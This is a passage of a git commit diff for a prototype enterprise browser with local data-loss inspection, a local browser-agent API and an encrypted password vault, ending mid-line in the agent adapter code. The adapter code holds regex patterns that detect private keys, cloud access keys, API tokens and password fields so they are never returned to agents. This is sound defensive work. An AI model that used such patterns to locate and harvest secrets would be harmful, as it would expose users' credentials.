commit ff482ebe2368514199c019b3ec9cd58bbd4d5830 Author: Karl Date: Tue Oct 13 10:33:31 2026 +0200 first commit diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..333bea8 --- /dev/null +++ b/.env.example @@ -0,0 +1,63 @@ +HOST=127.0.0.1 +PORT=4310 +PUBLIC_URL=http://127.0.0.1:4310 +# Generate a random value of at least 32 characters. Required to start. +ADMIN_TOKEN= +DATA_DIR=./data +# Encrypted policy delivery is required by default; false is allowed only for loopback development. +REQUIRE_PQ_MANAGEMENT_CHANNEL=true +# Require a different SSO administrator to approve every signed policy publication. +# This is deployment configuration, never editable from a browser policy. +REQUIRE_INDEPENDENT_POLICY_APPROVAL=true +# Deploy a trusted ML-DSA-87 public PEM outside the browser profile for PQ initial trust. +SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE= +SAFETYNET_REQUIRE_CHANNEL_PIN=false +# Optional enterprise ICAPS trust/client identity. PEM files stay in protected deployment storage. +SAFETYNET_ICAP_CA_FILE= +SAFETYNET_ICAP_CERT_FILE= +SAFETYNET_ICAP_KEY_FILE= +# For the Node.js management service's outbound HTTP clients. Set through the service environment. +# NODE_USE_ENV_PROXY=1 +# HTTP_PROXY=http://company-proxy.example:8080 +# HTTPS_PROXY=http://company-proxy.example:8080 +# NO_PROXY=localhost,127.0.0.1,::1 +# NODE_USE_SYSTEM_CA=1 +# NODE_EXTRA_CA_CERTS=C:/ProgramData/SafetyNet/company-ca.pem +# Required for enterprise SSO. Register PUBLIC_URL/auth/callback with the IdP. +OIDC_ISSUER= +OIDC_CLIENT_ID= +OIDC_CLIENT_SECRET= +OIDC_ADMIN_GROUP=safetynet-admins +OIDC_OPERATOR_GROUP= +OIDC_AUDITOR_GROUP= +OIDC_DEVICE_GROUP= +OIDC_GROUPS_CLAIM=groups +# Optional: server-held credentials for an approved OpenAI-compatible endpoint. +AI_BASE_URL= +AI_API_KEY= +AI_MODEL= +# Must match policy.ai.endpointId; local mode requires numeric loopback. +AI_ENDPOINT_ID=default +# Optional OTLP HTTP trace export; no prompt/content attributes are emitted. +OTEL_EXPORTER_OTLP_ENDPOINT= +# Durable SIEM delivery: default is data/security.ndjson. Optional HTTPS push. +SIEM_FORMAT=ecs +SIEM_HTTP_URL= +SIEM_HTTP_TOKEN= +SIEM_CA_FILE= +SIEM_CERT_FILE= +SIEM_KEY_FILE= +# Opt-in database event retention; 0 disables deletion. Incident evidence, +# pending SIEM delivery and device-event replay deduplication are preserved. +# SIEM receiver / local export file retention must be configured separately. +AUDIT_RETENTION_DAYS=0 +# Separate encrypted analyst evidence; leave unset to disable. The deployment +# key file must contain exactly 32 raw bytes and be protected separately from DB. +EVIDENCE_KEY_FILE= +EVIDENCE_RETENTION_DAYS=30 +# Customer-hosted content inspector. Never point this at an untrusted public service. +INSPECTOR_URL=http://127.0.0.1:4311 +INSPECTOR_TOKEN= +# Exact local model snapshot directory and its commit revision; inspection never downloads weights. +EMBEDDING_MODEL_DIR= +EMBEDDING_MODEL_REVISION= diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..29df08d --- /dev/null +++ b/.gitattributes @@ -0,0 +1,6 @@ +* text=auto eol=lf +*.png binary +*.ico binary +*.jpg binary +*.jpeg binary +*.webp binary diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..582de9b --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +node_modules/ +dist/ +data/ +.env +*.log +artifacts/ +.venv/ +.models/ +.runtime/ +__pycache__/ + +.publish-local/ +.env.* +!.env.example +*.sqlite* +*.db +*.bin +*.pfx +*.p12 +*.key +!.gitignore + + +# No CI/CD workflows are published for this repository. +.github/workflows/ +.gitea/workflows/ +.gitlab-ci.yml +.drone.yml +Jenkinsfile + diff --git a/AGENT-API.md b/AGENT-API.md new file mode 100644 index 0000000..a9403a9 --- /dev/null +++ b/AGENT-API.md @@ -0,0 +1,65 @@ +# Local browser agents + +The administrator enables `policy.agents.enabled`, chooses action-name scopes, and optionally restricts `allowedHosts`. Empty hosts inherits browser destination policy. Each native tab has a stable UUID for its lifetime. Obtain these IDs with `sessions`; an omitted sessionId captures the foreground tab once and pins the operation to it. Closed IDs are invalid. Screenshot scope is reserved but no screenshot API is implemented. + +## Windows pairing and CLI + +The browser creates `agent-connection.json` in its Windows user-data directory. It contains `format: windows-dpapi-v1` and a DPAPI CurrentUser-protected connection capability. The trusted shell's Agent connection control provides its path; remote pages never receive the token. Pairing grants access to trusted same-user local processes. It does not authenticate separate named applications or resist a compromised Windows account. Protect the profile and installation using endpoint management. + +Create a local JSON request file containing: + +```json +{"action":"read","args":{}} +``` + +Run the packaged helper while the managed browser is running: + +```powershell +& 'C:/path/to/SafetyNet.exe' --agent-connection='C:/absolute/profile/agent-connection.json' --agent-action='C:/absolute/request.json' +``` + +Development equivalent from the repository: + +```powershell +./node_modules/electron/dist/electron.exe scripts/agent-client.cjs --connection 'C:/absolute/profile/agent-connection.json' --request 'C:/absolute/request.json' +``` + +The helper uses a separate profile, decrypts the descriptor with Windows DPAPI, verifies literal loopback, and sends bounded JSON with Node HTTP. It follows no redirects and sets a deadline. Results go to stdout; failures exit with code 1. Protect/delete request files: prompts and typed text in those files are plaintext. A fresh capability is generated at startup; central revocation disables the current capability. A descriptor surviving a crash can point to an inactive endpoint and must not be treated as an authenticated response source without a running trusted browser. + +## Actions + +Send `POST /v1/actions` to the generated `http://127.0.0.1:` endpoint with `Authorization: Bearer ` and `Content-Type: application/json`. Browser Origin/Fetch Metadata requests are rejected. No CORS, CDP, arbitrary JavaScript, cookie export or arbitrary filesystem API is exposed. + +| Action | Arguments | Policy scope | Internal scope | Result | +|---|---|---|---|---| +| sessions | none | sessions | sessions:list | `[{id,title,foreground}]` | +| navigate | sessionId, url | navigate | browser:navigate | `{completed}` | +| read | sessionId | read | browser:read | `{text}` | +| click | sessionId, selector | click | browser:interact | `{completed}` | +| type | sessionId, selector, text | type | browser:interact | `{completed}` | +| ai | sessionId, prompt | ai | ai:request | `{text}` | +| application:state | none | application:state | application:state | ready, policyVersion, activeTabId, tabCount | +| settings:get | none | settings:get | settings:get | visible, hiddenSections, lockedSections, appearance | +| settings:update | appearance | settings:update | settings:update | current managed settings | +| bookmarks:list | none | bookmarks:list | bookmarks:list | managed and personal bookmarks, revision and permissions | +| bookmarks:mutate | action, bookmark/id, expectedRevision, policyVersion | bookmarks:mutate | bookmarks:mutate | `{completed}` | +| tabs:create | optional group, optional HTTP(S) url | tabs:create | tabs:create | `{completed,sessionId}` | +| tabs:activate | sessionId | tabs:activate | tabs:activate | `{completed,sessionId}` | +| tabs:close | sessionId | tabs:close | tabs:close | `{completed}` | +| tabs:group | sessionId, group | tabs:group | tabs:group | `{completed,sessionId}` | + +Application control scopes are disabled by default and must be explicitly published by an administrator. They provide fixed operations on the same privileged helpers used by the browser UI. `settings:update` accepts only `appearance.mode` (`system`, `light`, `dark`), `appearance.accent` (`blue`, `teal`, `violet`) and `appearance.tabMode` (`separate`, `compact`). Hidden or locked settings remain enforced. Agents cannot edit signed security policy, enrollment, credentials or management keys. Bookmark changes target personal bookmarks only and require the current signed policy version and personal revision; company bookmarks remain protected. Bookmark titles, URLs and folders pass local DLP before export. Policy changes during an operation suppress its result, even if an authorized central bookmark mutation already committed; refresh before retrying. + +Navigation accepts HTTP(S) URLs without credentials. Selectors use a conservative CSS subset. Targets must be visible and eligible; password, file, hidden, token and authentication fields are denied. Typing emits input/change events without directly submitting a form. Normal outbound DLP still gates site requests. + +Read extracts at most 10,000 visible characters, excluding form/editable fields, hidden content, scripts/styles and sensitive elements. It returns no attributes, cookies or browser storage. Local inspection runs before return. `allowSensitiveRead` can permit known deterministic corporate DLP classifications; credentials, malware, unknown blocks and incomplete inspection stay denied. AI uses the centrally configured inspected gateway, with bounded inspected output. Detection does not guarantee recognition of every visible secret. + +Inventory works on the start page. Read and AI can target an explicitly identified background tab; click/type require the foreground tab. Destination and host restrictions apply to the target tab. Adapters check readiness, expiry/version, action scope, destination and captured native identity before/after awaited operations. Navigation, same-URL reload, closure and policy changes invalidate captured operations. Foreground captures additionally become invalid after switching away and back; explicitly captured background reads remain bound to their original tab while other tabs are selected. Intentional navigation returns a freshly captured context for the same tab and preserves the foreground activation generation. Fixed DOM scripts bind to the captured document URL before interaction. No policy bypass or upload exception is generated. Page actions already performed cannot be undone by subsequent revocation; network requests still pass browser enforcement. + +## Trusted integration contract + +`startAgentControl({authorize,actions,audit,persistCredential?,credentialFile?,onError?,timeoutMs?,maxRequestsPerMinute?})` returns `{address,token,close,revoke}` asynchronously. It binds an ephemeral port only on 127.0.0.1. Defaults: 10-second action deadline, 60 authenticated requests/minute, 32 KiB request-body limit. Configure it exclusively in trusted main-process code. + +`authorize({action,args,scope,sessionId,signal})` returns `{allowed:true,role:'agent'|'admin',scopes:[requiredInternalScope]}` after current policy checks. Action adapters receive `(args,{signal})`. `createAgentAdapters({getContext,getSessions,contextCurrent,navigate,ai,inspect,audit,appControls?})` expects `getContext(sessionId)` to return `{ready,sessionId,foreground,interactive?,token,policy,policyVersion?,webContents,destinationAllowed}`. `interactive:false` prevents click/type when chrome panels cover the website. Omitted IDs capture the current foreground tab. `getSessions()` returns trusted native inventory. `contextCurrent(token)` verifies native identity, navigation generation, activation generation and policy generation. `navigate(url,capturedContext,{signal})` must enforce the captured context before loading, and return the refreshed context for the same native tab after loading. `appControls` supplies fixed callbacks keyed by application action names; callbacks receive `(args,{signal,policyVersion})` and must enforce managed visibility/locks, native tab identity and central bookmark CAS. The destination predicate must return true for allowed URLs. Adapters use fixed DOM code with JSON-escaped data, and honor abort. + +Prefer `persistCredential({address,token})` backed by protected trusted storage; Windows integration uses DPAPI. Optional `credentialFile` writes a new absolute path but does not establish Windows ACLs. Never accept callback/path configuration from pages. Audit contains action/scope/session/outcome metadata, not raw content. Audit failure prevents API adapter execution. Optional trusted `onError` reports static allowlisted reasons only. `revoke()` permanently disables the instance; `close()` shuts it down. Node deadlines cannot forcibly stop adapters that ignore cancellation. diff --git a/README.md b/README.md new file mode 100644 index 0000000..4b05bae --- /dev/null +++ b/README.md @@ -0,0 +1,182 @@ +

SafetyNet

+ +# SafetyNet · S Browser + +**A managed browser for enterprise AI work, with local content inspection and central security policy.** + +> **UNDER HEAVY DEVELOPMENT** — SafetyNet is a Windows-first development prototype. It is not production-ready, independently security-audited, or certified. Current Windows builds are unsigned. Evaluate it with synthetic data in an isolated test environment. + +SafetyNet combines an Electron/Chromium desktop browser, an administrator web console, a local document-inspection service, and a controlled AI gateway. Employees can use approved AI tools while administrators decide which information may leave the organization and where it may go. + +S Browser uses translucent materials, rounded controls, light/dark themes, and a content-first layout inspired by Safari. Website content is left unchanged. + +## A look inside + +![S Browser start page](docs/media/screenshots/browser-light.png) + +*Browser shell preview with synthetic bookmarks; this showcase is not a live external website.* + +![Custom profiles in central administration](docs/media/screenshots/admin-profiles.png) + +*Create your own named profiles and assign website access and feature permissions. This screenshot uses a synthetic test organization.* + +## What you can evaluate today + +| Area | Current capabilities | +| --- | --- | +| Managed browsing | Independent native tabs, enrollment, device inventory, revocation, centrally controlled settings, themes, company bookmarks and personal-bookmark permissions. | +| User and device policies | Custom named profiles for verified SSO subjects or explicit devices; allowlists, blocklists, administrator-maintained domain categories, DevTools delegation, restrictive device groups and explicit pilot cohorts. | +| Local DLP | Secret detectors, document fingerprints, supported text/PDF/Office/image extraction, offline RapidOCR and optional EmbeddingGemma 2 semantic classification. Reference training retains derived features rather than complete source documents. | +| Transfers | Bounded pre-release download scanning, byte-derived file-type checks, SHA-256 binding, configurable YARA and company ICAP. Supported clipboard and in-memory request paths receive policy checks. Unsupported native file/data-pipe uploads remain blocked. | +| Integrations | OIDC SSO; administrator/operator/auditor roles; system/fixed/PAC proxies; managed DNS; optional Windows VPN presence checks; ICAP/ICAPS inspection. | +| Administration | Policy templates, diffs and history, independent publication review, groups, profiles, teaching workflows, incidents and configurable event retention. | +| AI and agents | Approved AI routing with server-held credentials; scoped local agent navigation, tabs, page interaction, settings and bookmarks. Administrators can disable agent access centrally. | +| Observability | OpenTelemetry traces, metrics and sanitized logs; durable security events; ECS/CEF exports and HTTPS/mTLS SIEM delivery. An encrypted evidence server is implemented; automatic browser capture and analyst presentation remain incomplete. | +| Additional controls | Local encrypted password vault with explicit autofill; protected-brand visual similarity checks paired with trusted HTTPS origins. These features require further independent evaluation. | + +Permissions are enforced by the backend and privileged browser code, not merely by hiding controls. Matching restrictive policies accumulate. Domain categories are curated company lists, not a subscription categorization feed. + +Developer tools are a privileged exception, disabled for ordinary profiles. Delegating them changes the trust boundary: DevTools can provide paths outside normal clipboard guards. Grant access only to explicitly trusted developer profiles; do not assume complete DLP coverage when they are enabled. + +## Architecture + +```mermaid +flowchart LR + Admin[Admin web console] --> Management[Management and signed policies] + Management --> Browser[S Browser · Electron/Chromium] + Browser --> Inspector[Local Windows AppContainer inspector] + Browser --> Gateway[Controlled AI gateway] + Gateway --> Models[Approved local or external models] + Browser --> Audit[Durable security events and SIEM] + Management --> Audit + Browser --> OTel[OpenTelemetry Collector] + Gateway --> OTel +``` + +Local parsing, OCR, YARA and semantic classification do not send documents to a public classification service. Configured ICAP and external AI services receive the selected content at the explicitly approved destination. Parser workers use a zero-capability Windows AppContainer; management and external integrations operate outside that parser boundary. + +## Run a local evaluation + +### Prerequisites + +- Windows x64, the active development and test platform. macOS, Linux and mobile are future work. +- Node.js 24+ and npm. +- Python with `pip` for provisioning the pinned private Windows Python runtime and locked inspection dependencies. +- Disk space for dependencies and optional local models. Native semantic weights occupy approximately 865 MB before the worker and other runtime files. + +There is no downloadable signed installer or self-contained semantic-model bootstrap in this repository. Weights, private runtimes and generated builds are excluded from source control. Provisioning needs network access; normal local inspection does not download models. + +### 1. Install and initialize + +```powershell +git clone https://tea.karlcom.de/karl/safetynet.git +cd safetynet +npm ci +node node_modules/electron/install.js +npm run init +npm run runtime:win +``` + +`npm run init` creates `.env` from `.env.example` and generates private administrator and inspector credentials. It preserves existing configuration. Keep `.env` private and never commit it. + +For a **single-administrator HTTP loopback demo only**, set this in `.env`: + +```dotenv +REQUIRE_INDEPENDENT_POLICY_APPROVAL=false +``` + +Independent review is enabled in the example by default. Keep it enabled for enterprise evaluation with two different SSO administrator identities: a shared development token cannot provide an independent reviewer. + +### 2. Start the services + +Run each command in a separate terminal from the repository root: + +```powershell +npm run inspector +``` + +```powershell +npm run server +``` + +Open **http://127.0.0.1:4310**. For the demo, enter `ADMIN_TOKEN` from your private `.env` in the console. For enterprise access, configure OIDC and use your identity provider. + +```powershell +npm run browser +``` + +Create a one-use enrollment code in the console, then enroll the browser against the management server. Browser SSO enrollment is also supported when configured. Browsing remains locked until enrollment and a valid policy refresh complete. Revocation, expired policy or management failure pauses browsing. + +### 3. Try the management workflow + +1. Start from a policy template and review changes before publishing. +2. Add company bookmarks and configure employee-edit permissions. +3. Create a named profile, assign devices or verified SSO subjects, and set website and DevTools permissions. +4. Register a synthetic confidential reference document, review inspection coverage, and publish its derived rules. +5. Test allowed and blocked actions, then inspect security events and incident records. +6. Use a pilot cohort before expanding a policy. When independent review is enabled, a different administrator approves publication. + +Mandatory scanners fail closed when unavailable. Disabling YARA does not silently disable other mandatory inspection. Test required proxy, VPN, DNS and ICAP reachability before rolling out their policies. + +### Optional offline semantic classification + +The EmbeddingGemma 2 provisioner currently imports a verified distribution from a separately prepared compatible source project. It does not download arbitrary model weights or accept an unverified replacement. + +```powershell +python scripts/provision-semantic-runtime.py --source-project C:/path/to/compatible-source-project +python scripts/provision-semantic-runtime.py --verify +npm run runtime:win +``` + +The source layout and pinned hashes are defined in [the provisioner](scripts/provision-semantic-runtime.py). Without that distribution, keep semantic classification disabled; other provisioned local inspection can be evaluated. A standalone model/runtime installation workflow remains open. Reprovision ACLs after changing inspector or model files; see [Windows installation prerequisites](docs/windows-appcontainer-installation.md). + +## Enterprise configuration + +The console is a separate web application. Deploy it behind trusted HTTPS with OIDC, a protected service identity and restricted database/key access. Remote management does not accept the shared loopback development token. + +Use `.env.example` as the configuration reference for OIDC, inspector authentication, AI, OpenTelemetry, SIEM and optional protected evidence. Provision secrets through your deployment secret manager, not browser-editable settings or source control. No Docker-based production deployment is supplied. + +Policies have signed versions, expiry checks, device binding and rollback protection. The protected rollout channel uses ML-KEM-1024, AES-256-GCM and authenticated ML-DSA-87/Ed25519 challenges in addition to HTTPS. Initial trust, signing-key custody, rotation and independent cryptographic review remain deployment work; this is not FIPS validation or a guarantee of complete quantum security. + +Further guidance: + +- [Admin access, SSO and roles](docs/admin-security.md) and [deployment model](deploy/ADMIN-MANAGEMENT.md) +- [Independent policy approval](docs/policy-review.md) +- [Custom profiles](docs/user-profile-policies.md) and [pilot rollouts](docs/group-policy-rollout.md) +- [Transfer type and scanner controls](docs/file-transfer-controls.md) +- [Local agent API](AGENT-API.md) and [browser diagnostics](docs/browser-diagnostics.md) +- [Incidents](docs/incident-management.md), [event retention](docs/audit-retention.md) and [protected evidence](docs/protected-evidence.md) + +## Verify and build + +```powershell +npm test +npm run check +.runtime/windows/python/python.exe -m unittest discover -s apps/inspector -p "test_*.py" +npm run smoke +npm run preview:ui +``` + +Native tests use controlled receivers and an isolated browser profile. Clipboard tests use the Windows clipboard; run them serially. Passing tests establish the exercised scenarios, rather than universal prevention coverage. + +After provisioning the semantic distribution and private Windows runtime: + +```powershell +npm run package:win +npm run verify:package +``` + +The packaging workflow produces an unpacked evaluation build in `dist/win-unpacked`. Distribute the complete folder, not the executable alone. Code signing, a production installer and a trusted update service remain unfinished. + +## Current boundaries + +An Electron shell does not yet provide complete enterprise DLP across every transport. Native file/data-pipe uploads have no approved release path. WebSocket/WebRTC/streaming, encoded or covert channels, printing, OS screen capture, other applications and local administrator tampering are not fully covered. Complete audio/video transcription and frame coverage are unfinished. + +Automatic forensic browser capture, a complete analyst evidence interface, per-agent cryptographic identities and replay-resistant request proofs, SCIM, production key rotation, tested backup/recovery and independent security testing remain open. An allow decision means no implemented rule matched the supported input; it does not guarantee absence of secrets or malware. + +See the [threat model](docs/threat-model.md) and [requirements audit and roadmap](docs/requirements-audit.md) for coverage and remaining gates. Report security concerns privately to the repository owner; never post credentials or confidential documents in a public issue. + +## Project and third-party licensing + +A project distribution license has not yet been selected. Third-party components and weights retain their own terms; review them and complete redistribution notices before distributing a build. + diff --git a/VAULT-SECURITY.md b/VAULT-SECURITY.md new file mode 100644 index 0000000..5407cd4 --- /dev/null +++ b/VAULT-SECURITY.md @@ -0,0 +1,31 @@ +# Local vault security boundary + +This is a new, unaudited local vault implementation. It uses actual native ML-KEM-1024 in the shipped Electron 44 / Node 24 runtime, not an emulation or a cryptographic fallback. Independent cryptographic and browser-security review is required before production use. It does not claim FIPS validation or audited quantum-safe protection. ML-KEM is a key encapsulation mechanism, not a password-strength mechanism, and does not protect an unlocked or compromised endpoint. + +Standards and implementation references: [NIST FIPS 203: ML-KEM](https://www.nist.gov/publications/module-lattice-based-key-encapsulation-mechanism-standard), [NIST symmetric cryptography guidance](https://csrc.nist.gov/Projects/post-quantum-cryptography/faqs), and [Node.js native cryptography API](https://nodejs.org/download/release/v24.21.0/docs/api/crypto.html). + +## Envelope + +Each vault generates a random 256-bit data key and a native ML-KEM-1024 keypair. Native encapsulation yields a shared key; HKDF-SHA-256 with a vault identifier salt and domain-separated context derives an AES-256-GCM wrapping key for the random data key. The private KEM key is encrypted with a master-password-derived AES-256-GCM key, then protected by the injected Windows user-bound DPAPI adapter. Unlock requires both the master password and the Windows protection factor. DPAPI alone cannot unlock this envelope. + +The master-password key uses fixed scrypt N=131072, r=8, p=1 (approximately 128 MiB working memory; 192 MiB maximum allowed). Disk parameters cannot select a weaker or excessive KDF. Master passwords must contain at least 16 JavaScript characters, at most 1024; password strength still depends on entropy. Generated credential passwords use cryptographically secure random selection, default 32 characters, minimum 24. + +Full credential metadata and passwords are encrypted together using AES-256-GCM, fresh random 96-bit nonces and 128-bit authentication tags on each persistence. Associated data binds the format, vault identifier, salt, platform-protected private key, KEM ciphertext, and wrapped data key. File sizes and encoded-field lengths are bounded before expensive cryptography. Ciphertext tampering and wrong factors return a generic refusal and lock the vault. + +No account origin, username, label, password or master password is stored in plaintext. The outer envelope necessarily reveals format, algorithm-related sizes and ciphertext size; it provides neither padding nor traffic-analysis protection. The format is not a classical/PQC hybrid KEM: it uses ML-KEM plus symmetric encryption. + +## Browser integration obligations + +The root/main process supplies trusted DPAPI protect/unprotect callbacks. Production must refuse unavailable Windows protection; portable tests use a simulated authenticated second factor and do not claim to test DPAPI. The engine does not independently validate enterprise enrollment or central policy: main must authorize every operation, enforce administrator disable/revocation, and lock on policy changes, shutdown, OS session lock and explicit logout as applicable. + +`list()` returns unlocked metadata only and no password. `credential(id, origin)` exposes username/password only to the trusted main fill path and requires the exact stored canonical HTTPS origin, including port. Main must additionally validate the requesting browser session, current committed frame origin and form submission target immediately before filling. A same-origin hostile page or injected script may read a filled password. Filling must not expose values to agent APIs, audit events, chat prompts, general renderer APIs, clipboard, screenshots or logs. + +The idle timer locks after 60–900 seconds (default 300), refreshed by unlock, credential fill and mutations. Metadata listing and status polling do not refresh it, so background UI polling cannot keep a vault unlocked. Buffers holding keys, plaintext serialization and derived secrets are overwritten on completion/lock. JavaScript immutable strings, cloned credential objects, native crypto KeyObjects, parser allocations, crash dumps, OS paging and garbage-collected copies cannot be reliably erased. Memory protection remains best effort. Windows ACLs, endpoint isolation and crash-dump/pagefile controls must be separately enforced; POSIX-style mode 0600 does not establish a Windows ACL. + +## Persistence and recovery + +Writes use a random exclusively created temporary encrypted file, file flush, and atomic rename. A failed save preserves the prior committed file and rolls back the in-memory mutation. Only one process should access a vault; cross-process transactional locking and rollback resistance are not implemented. An attacker able to replace an authenticated old vault file can restore old credential state. Storage does not defend against an administrator or malware executing as the same unlocked Windows user. + +No sync, export, recovery key, master-password change or Windows-account migration is provided in this iteration. Losing the master password or the Windows DPAPI context can permanently lose access. Backups must preserve both encrypted storage and the appropriate Windows recovery context; there is no cloud copy. Secure deletion of previous encrypted blocks or backups is not guaranteed. + +References: [Node native cryptography](https://nodejs.org/api/crypto.html) and [NIST FIPS 203](https://csrc.nist.gov/pubs/fips/203/final). diff --git a/apps/browser/agent-adapters.cjs b/apps/browser/agent-adapters.cjs new file mode 100644 index 0000000..f64c928 --- /dev/null +++ b/apps/browser/agent-adapters.cjs @@ -0,0 +1,112 @@ +'use strict'; +function domAction(mode, selector, text, expectedUrl) { + if (location.href !== expectedUrl) throw Error('Document changed before action'); + const visible = e => { + if (!e || e.closest('[hidden],[aria-hidden="true"],script,style,template,noscript')) return false; + const style = getComputedStyle(e); + return style.display !== 'none' && style.visibility !== 'hidden' && style.opacity !== '0' && e.getClientRects().length > 0; + }; + const sensitive = e => { + const forbidden = /password|passwd|secret|token|credential|api.?key|auth|one.?time|otp|credit.?card|cc-number|cc-csc/i; + for (let node = e; node && node !== document.body; node = node.parentElement) { + if (['name','id','autocomplete','aria-label','data-sensitive','action'].some(a => forbidden.test(node.getAttribute(a) || ''))) return true; + } + return /^(password|file|hidden)$/i.test(e.type || ''); + }; + if (mode === 'read') { + const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT); + const parts = []; let length = 0, visited = 0, node; + while ((node = walker.nextNode()) && visited++ < 20000 && length < 10000) { + const element = node.parentElement; + if (!element || element.closest('input,textarea,select,option,[contenteditable],script,style,template,noscript') || !visible(element) || sensitive(element)) continue; + const value = (node.textContent || '').replace(/\s+/g, ' ').trim(); + if (value) { const piece = value.slice(0, 10000 - length); parts.push(piece); length += piece.length + 1; } + } + return { text: parts.join('\n').slice(0,10000) }; + } + const e = document.querySelector(selector); + if (!visible(e) || sensitive(e) || e.disabled || e.getAttribute('aria-disabled') === 'true') throw Error('Target is unavailable or sensitive'); + if (mode === 'click') { + if (!/^(A|BUTTON|INPUT)$/.test(e.tagName) || (e.tagName === 'INPUT' && !/^(button|submit|checkbox|radio)$/i.test(e.type))) throw Error('Target cannot be clicked'); + e.click(); return {completed:true}; + } + if (mode === 'type') { + if (e.readOnly || !(e.tagName === 'TEXTAREA' || (e.tagName === 'INPUT' && /^(text|search|email|url|tel)$/i.test(e.type)))) throw Error('Target cannot receive text'); + const prototype = e.tagName === 'TEXTAREA' ? HTMLTextAreaElement.prototype : HTMLInputElement.prototype; + Object.getOwnPropertyDescriptor(prototype,'value').set.call(e,text); + e.dispatchEvent(new Event('input',{bubbles:true})); e.dispatchEvent(new Event('change',{bubbles:true})); + return {completed:true}; + } + throw Error('Unsupported DOM action'); +} +const secret = text => /-----BEGIN (?:[A-Z ]+ )?PRIVATE KEY-----|\b(?:AKIA|ASIA)[A-Z0-9]{16}\b|\b(?:sk-[A-Za-z0-9_-]{16,}|gh[pousr]_[A-Za-z0-9]{20,})\b|\b(?:password|passwd|api[_ -]?key|access[_ -]?token|client[_ -]?secret)\s*[:=]\s*["']?[^\s"']{4,}/i.test(text); +const script = (mode,args,url) => `(${domAction.toString()})(${JSON.stringify(mode)},${JSON.stringify(args.selector || '')},${JSON.stringify(args.text || '')},${JSON.stringify(url)})`; +const hostMatches = (hostname, pattern) => { + const name=hostname.toLowerCase().replace(/\.$/,''),p=String(pattern).toLowerCase(); + return p.startsWith('*.') ? name.endsWith(p.slice(1)) && name!==p.slice(2) : name===p; +}; +function createAgentAdapters({getContext,getSessions,contextCurrent,navigate,ai,inspect,audit,appControls={}} = {}) { + if ([getContext,getSessions,contextCurrent,navigate,ai,inspect,audit].some(fn=>typeof fn!=='function')) throw TypeError('All adapter callbacks are required'); + const snapshot = (args,signal,action) => { + const c = getContext(args.sessionId); + if (signal?.aborted || !c?.ready || !c.policy?.agents?.enabled || !c.webContents || c.webContents.isDestroyed?.() || (c.policy.expiresAt && Date.parse(c.policy.expiresAt)<=Date.now())) throw Error('Managed session unavailable'); + if (!c.sessionId || !c.token || (args.sessionId !== undefined && args.sessionId !== c.sessionId)) throw Error('Unknown managed session'); + if (['click','type'].includes(action) && (c.foreground !== true || c.interactive===false)) throw Error('Managed session unavailable'); + const url = c.webContents.getURL(); + if (typeof c.destinationAllowed!=='function' || (action!=='navigate' && (!/^https?:\/\//.test(url) || c.destinationAllowed(url,c.policy)!==true))) throw Error('Session destination blocked'); + const agents=c.policy.agents; + if (!Array.isArray(agents.scopes) || !agents.scopes.includes(action)) throw Error('Agent scope denied'); + if (!Array.isArray(agents.allowedHosts) || (action!=='navigate' && agents.allowedHosts.length && !agents.allowedHosts.some(p=>hostMatches(new URL(url).hostname,p)))) throw Error('Agent destination denied'); + return {...c,url,action,version:c.policyVersion ?? c.policy.version}; + }; + const check = (initial,args,signal,expectedUrl=initial.url) => { + const current = snapshot({...args,sessionId:initial.sessionId},signal,initial.action); + if (!contextCurrent(initial.token) || current.version !== initial.version || current.webContents !== initial.webContents || current.url !== expectedUrl) throw Error('Managed session changed during action'); + return current; + }; + const classify = async (text,initial,args,signal,allowSensitive=false) => { + if (typeof text!=='string' || text.length>10000 || secret(text)) throw Error('Sensitive content cannot be returned'); + const verdict = await inspect(text,initial);check(initial,args,signal); + if (!verdict || !['allow','block'].includes(verdict.decision)) throw Error('Inspection unavailable'); + const reserved=/^(?:private-key|aws-access-key|api-secret|uninspectable|size-limit|inspection-incomplete|yara-.*)$/; + const knownCorporateRule=verdict.ruleId==='content-blocklist' || initial.policy.dlp?.rules?.some(rule=>rule.id===verdict.ruleId && ['literal','sha256','fragment-sha256'].includes(rule.kind)); + const override=allowSensitive && knownCorporateRule && !reserved.test(verdict.ruleId || '') && !verdict.malware && verdict.engine!=='yara' && verdict.coverage?.complete!==false; + if (verdict.decision==='block' && !override) { await audit({action:'agent.read',outcome:'blocked'});throw Error('Company policy blocks content access'); } + return text; + }; + const dom = mode => async (args,{signal}={}) => { + const initial = snapshot(args,signal,mode); + if (mode!=='read' && (typeof args.selector!=='string' || args.selector.length>512 || !/^[a-zA-Z0-9_#.*\[\]="' >+~-]+$/.test(args.selector))) throw Error('Invalid selector'); + if (mode==='type' && (typeof args.text!=='string' || args.text.length>16384)) throw Error('Invalid text'); + const result = await initial.webContents.executeJavaScript(script(mode,args,initial.url),false); + check(initial,args,signal); + if (mode==='read') return {text:await classify(result?.text,initial,args,signal,initial.policy.agents.allowSensitiveRead===true)}; + return {completed:result?.completed===true}; + }; + const appActions=['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + const appSnapshot=action=>{const c=getContext();if(!c?.ready||!c.policy?.agents?.enabled||!c.policy.agents.scopes?.includes(action)||(c.policy.expiresAt&&Date.parse(c.policy.expiresAt)<=Date.now()))throw Error('Agent scope denied');return c;}; + const appAdapters=Object.fromEntries(appActions.map(action=>[action,async(args={}, {signal}={})=>{ + const initial=appSnapshot(action),version=initial.policyVersion??initial.policy.version; + const current=()=>{const c=appSnapshot(action);if(signal?.aborted||c.policy!==initial.policy||(c.policyVersion??c.policy.version)!==version)throw Error('Managed session changed during action');}; + if(signal?.aborted||typeof appControls[action]!=='function')throw Error('Managed session unavailable'); + if(action==='tabs:create'&&args.url){const url=new URL(args.url);if(!['http:','https:'].includes(url.protocol)||url.username||url.password||initial.destinationAllowed(url.href,initial.policy)!==true||(initial.policy.agents.allowedHosts.length&&!initial.policy.agents.allowedHosts.some(p=>hostMatches(url.hostname,p))))throw Error('Agent destination denied');} + current();const result=await appControls[action](args,{signal,policyVersion:version});current(); + if(action==='bookmarks:list'){ + const entries=[...(result?.managed||[]),...(result?.personal?.items||[])]; + for(const item of entries){const text=[item.title,item.url,item.folder].filter(v=>typeof v==='string').join('\n');if(text.length>10000||secret(text))throw Error('Sensitive content cannot be returned');const verdict=await 